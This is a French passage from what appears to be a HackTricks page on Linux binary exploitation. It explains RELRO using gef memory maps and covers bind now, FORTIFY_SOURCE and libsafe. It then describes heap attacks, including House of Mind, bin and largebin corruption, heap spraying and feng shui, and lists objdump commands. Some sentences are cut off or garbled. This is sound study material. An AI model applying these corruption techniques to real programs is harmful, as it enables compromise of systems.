0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
Sans relro:
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
Pour le binaire **sans relro**, nous pouvons voir que l'adresse d'entrée `got` pour `fgets` est `0x404018`. En regardant les mappages de mémoire, nous voyons qu'elle se situe entre `0x404000` et `0x405000`, qui ont les **permissions `rw`**, ce qui signifie que nous pouvons y lire et écrire. Pour le binaire **avec relro**, nous voyons que l'adresse de la table `got` pour l'exécution du binaire (pie est activé donc cette adresse changera) est `0x555555557fd0`. Dans la carte mémoire de ce binaire, elle se situe entre `0x0000555555557000` et `0x0000555555558000`, qui a la mémoire **permission `r`**, ce qui signifie que nous ne pouvons que lire à partir de là.
Alors quelle est la **contournement**? Le contournement typique que j'utilise est de simplement ne pas écrire dans les régions de mémoire que relro rend en lecture seule, et de **trouver un autre moyen d'obtenir l'exécution du code**.
Notez que pour que cela se produise, le binaire doit connaître avant l'exécution les adresses des fonctions:
* Lazy binding: L'adresse d'une fonction est recherchée la première fois que la fonction est appelée. Ainsi, la GOT doit avoir des autorisations d'écriture pendant l'exécution.
* Bind now: Les adresses des fonctions sont résolues au début de l'exécution, puis des autorisations en lecture seule sont données aux sections sensibles comme .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
Pour vérifier si un programme utilise Bind now, vous pouvez faire:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
Lorsque le binaire est chargé en mémoire et qu'une fonction est appelée pour la première fois, il saute à la PLT (Procedure Linkage Table), d'où il effectue un saut (jmp) à la GOT et découvre que cette entrée n'a pas été résolue (elle contient une adresse suivante de la PLT). Il invoque alors le Runtime Linker ou rtfd pour résoudre l'adresse et la stocker dans la GOT.
Lorsqu'une fonction est appelée, la PLT est appelée, elle contient l'adresse de la GOT où l'adresse de la fonction est stockée, redirigeant ainsi le flux vers celle-ci et appelant la fonction. Cependant, si c'est la première fois que la fonction est appelée, ce qui se trouve dans la GOT est l'instruction suivante de la PLT, donc le flux suit le code de la PLT (rtfd) et découvre l'adresse de la fonction, la stocke dans la GOT et l'appelle.
Lorsqu'un binaire est chargé en mémoire, le compilateur lui a indiqué à quel offset il doit placer les données qui doivent être chargées lors de l'exécution du programme.
Lazy binding -> L'adresse de la fonction est recherchée la première fois que cette fonction est appelée, de sorte que la GOT a des autorisations d'écriture pour que lorsqu'elle est recherchée, elle soit stockée là et qu'il ne soit pas nécessaire de la rechercher à nouveau.
Bind now -> Les adresses des fonctions sont recherchées lors du chargement du programme et les autorisations des sections .got, .dtors, .ctors, .dynamic, .jcr sont modifiées en lecture seule. **-z relro** et **-z now**
Malgré cela, en général, les programmes ne sont pas compliqués avec ces options, donc ces attaques restent possibles.
**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** -> Pour savoir s'ils utilisent BIND NOW
**Fortify Source -D_FORTIFY_SOURCE=1 ou =2**
Essaie d'identifier les fonctions qui copient d'un endroit à un autre de manière non sécurisée et de remplacer la fonction par une fonction sûre.
Par exemple :\
char buf[16];\
strcpy(but, source);
Il l'identifie comme non sécurisé et remplace alors strcpy() par \_\_strcpy\_chk() en utilisant la taille du tampon comme taille maximale à copier.
La différence entre **=1** ou **=2** est que :
La seconde ne permet pas que **%n** vienne d'une section avec des autorisations d'écriture. De plus, le paramètre pour l'accès direct aux arguments ne peut être utilisé que si les précédents sont utilisés, c'est-à-dire que seul **%3$d** peut être utilisé s'il a été précédé de **%2$d** et **%1$d**.
Pour afficher le message d'erreur, on utilise argv\[0\], donc si on y met l'adresse d'un autre endroit (comme une variable globale), le message d'erreur affichera le contenu de cette variable. Page 191
**Remplacement de Libsafe**
Il est activé avec : LD\_PRELOAD=/lib/libsafe.so.2\
ou\
“/lib/libsave.so.2” > /etc/ld.so.preload
Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas normalisé. (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, toutes les fonctions vulnérables ne deviennent pas sûres et LD\_PRELOAD ne fonctionne pas sur les binaires avec suid).
**Espace d'adressage ASCII Armored**
Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff pour qu'il y ait toujours un octet 0x00. Cependant, cela ne permet pratiquement pas d'arrêter les attaques, et encore moins en little endian.
**ret2plt**
Consiste à réaliser un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction à laquelle on veut appeler (system()). Ensuite, on fait la même chose en pointant vers GOT+1 et en copiant le 2ème octet de system()... En fin de compte, on appelle l'adresse stockée dans GOT
Si vous voulez réutiliser un pointeur, cela ne posera aucun problème. Si vous voulez en utiliser un autre, il sera assigné au même espace, ce qui faussera les pointeurs "fd" et "bk" avec les données de la réservation précédente.
**Après free()**
Un pointeur précédemment libéré est réutilisé sans contrôle.
## **8 Débordements de tas : Exploits avancés**
Les techniques Unlink() et FrontLink() ont été supprimées en modifiant la fonction unlink().
**The house of mind**
Seule une seule appel à free() est nécessaire pour provoquer l'exécution de code arbitraire. Il est intéressant de chercher un deuxième morceau qui peut être débordé par un précédent et libéré.
Un appel à free() appelle public\_fREe(mem), qui fait :
mstate ar\_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Renvoie un pointeur à l'adresse où commence le morceau (mem-8)
…
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
…
\_int\_free(ar\_ptr, mem);
}
En \[1], il vérifie le champ size du bit NON\_MAIN\_ARENA, qui peut être altéré pour que la vérification renvoie true et exécute heap\_for\_ptr() qui fait un and à "mem", laissant les 2,5 octets les moins importants à 0 (dans notre cas de 0x0804a000, il laisse 0x08000000) et accède à 0x08000000->ar\_ptr (comme s'il s'agissait d'une structure heap\_info).
De cette façon, si nous pouvons contrôler un morceau par exemple à 0x0804a000 et qu'un morceau est sur le point d'être libéré à **0x081002a0**, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple **0x0804a000**. Lorsque ce deuxième morceau sera libéré, heap\_for\_ptr(ptr)->ar\_ptr trouvera ce que nous avons écrit à 0x08100000 (car l'and que nous avons vu précédemment est appliqué à 0x081002a0 et la valeur des 4 premiers octets, l'ar\_ptr, est extraite de là).
De cette façon, \_int\_free(ar\_ptr, mem) est appelé, c'est-à-dire, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le morceau qui va être libéré.
Comme unsorted\_chunks est défini, nous savons que :\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Par conséquent, si nous écrivons la valeur de \_\_DTOR\_END\_\_-12 dans av->bins\[2], la dernière instruction écrira dans \_\_DTOR\_END\_\_ l'adresse du deuxième morceau.
C'est-à-dire que dans le premier morceau, nous devons mettre au début plusieurs fois l'adresse de \_\_DTOR\_END\_\_-12 car av->bins\[2\] la prendra de là.
Dans l'adresse où tombe l'adresse du deuxième morceau avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier morceau pour que heap\_for\_ptr() pense que l'ar\_ptr est au début du premier mor
bin->bk = bck; Le deuxième à partir de la fin devient le dernier, si bck pointe vers le stack au prochain morceau réservé, cette adresse lui sera donnée.
bck->fd = bin; La liste est fermée en la faisant pointer vers bin.
Il est nécessaire de :
- Réserver deux malloc, de sorte que le premier puisse être débordé après que le second ait été libéré et introduit dans son bin (c'est-à-dire qu'un malloc supérieur au deuxième morceau ait été réservé avant le débordement).
- Contrôler le malloc réservé à l'adresse choisie par l'attaquant.
L'objectif est le suivant : si nous pouvons déborder un tas qui a en dessous un morceau déjà libéré et dans son bin, nous pouvons modifier son pointeur bk. Si nous modifions son pointeur bk et que ce morceau devient le premier de la liste de bin et qu'il est réservé, bin sera trompé et on lui dira que le dernier morceau de la liste (le suivant à offrir) est à l'adresse fausse que nous avons mise (sur le stack ou GOT par exemple). Ainsi, si un autre morceau est réservé et que l'attaquant a des autorisations dessus, un morceau sera donné à la position souhaitée et il pourra écrire dedans.
Après avoir libéré le morceau modifié, il est nécessaire de réserver un morceau plus grand que celui qui a été libéré, de sorte que le morceau modifié sorte des unsorted bins et soit introduit dans son bin.
Une fois dans son bin, il est temps de modifier son pointeur bk via le débordement pour qu'il pointe vers l'adresse que nous voulons écraser.
Ainsi, le bin devra attendre son tour jusqu'à ce que suffisamment d'appels à malloc() soient effectués pour que le bin modifié soit réutilisé et trompe bin en lui faisant croire que le morceau suivant est à l'adresse fausse. Et ensuite, le morceau qui nous intéresse sera donné.
Pour que la vulnérabilité soit exécutée le plus rapidement possible, il est idéal de : réserver le morceau vulnérable, réserver le morceau qui sera modifié, libérer ce morceau, réserver un morceau plus grand que celui qui sera modifié, modifier le morceau (vulnérabilité), réserver un morceau de même taille que celui qui a été violé et réserver un deuxième morceau de même taille et ce sera celui qui pointera vers l'adresse choisie.
Pour protéger cette attaque, la vérification typique est utilisée pour s'assurer que le morceau n'est pas faux : on vérifie si bck->fd pointe vers victim. C'est-à-dire que dans notre cas, si le pointeur fd* du faux morceau pointé sur le stack pointe vers victim. Pour dépasser cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement sur le stack) à l'adresse appropriée de la direction de victim. Ainsi, cela ressemblera à un vrai morceau.
**Corruption LargeBin**
Les mêmes exigences sont nécessaires qu'auparavant et quelques autres, en outre, les morceaux réservés doivent être supérieurs à 512.
L'attaque est la même que précédemment, c'est-à-dire qu'il faut modifier le pointeur bk et toutes ces appels à malloc() sont nécessaires, mais il faut également modifier la taille du morceau modifié de sorte que cette taille - nb soit < MINSIZE.
Par exemple, il faudra mettre en taille 1552 pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car elle compare un unsigned).
De plus, un correctif a été introduit pour le rendre encore plus compliqué.
**Heap Spraying**
Essentiellement, il consiste à réserver toute la mémoire possible pour les tas et à les remplir d'un matelas de nops fini par une shellcode. De plus, 0x0c est utilisé comme matelas. On essaiera donc de sauter à l'adresse 0x0c0c0c0c, et ainsi, si une adresse à laquelle on va appeler est écrasée avec ce matelas, on sautera là-bas. Fondamentalement, la tactique consiste à réserver autant que possible pour voir si un pointeur est écrasé et à sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là-bas.
**Heap Feng Shui**
Il consiste à semer la mémoire en réservant et en libérant des morceaux de sorte qu'il reste des morceaux réservés entre des morceaux libres. Le tampon à déborder sera situé dans l'un des œufs.
**objdump -d executable** —> Disas fonctions\
**objdump -d ./PROGRAMME | grep FONCTION** —> Obtenir l'adresse de la fonction\
**objdump -d -Mintel ./shellcodeout** —> Pour voir que c'est effectivement notre shellcode et obtenir les OpCodes\
**objdump -t ./exec | grep varBss** —> Table des symboles, pour obtenir l'adresse des variables et des fonctions\
**objdump -TR ./exec | grep exit(func lib)** —> Pour obtenir l'adresse des fonctions des bibliothèques (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Obtient l'adresse de puts à écraser dans le GOT\
**objdump -D ./exec** —> Disas ALL jusqu'aux entrées de la plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info de la fonction dans gdb
## Cours intéressants
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
## **Références**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github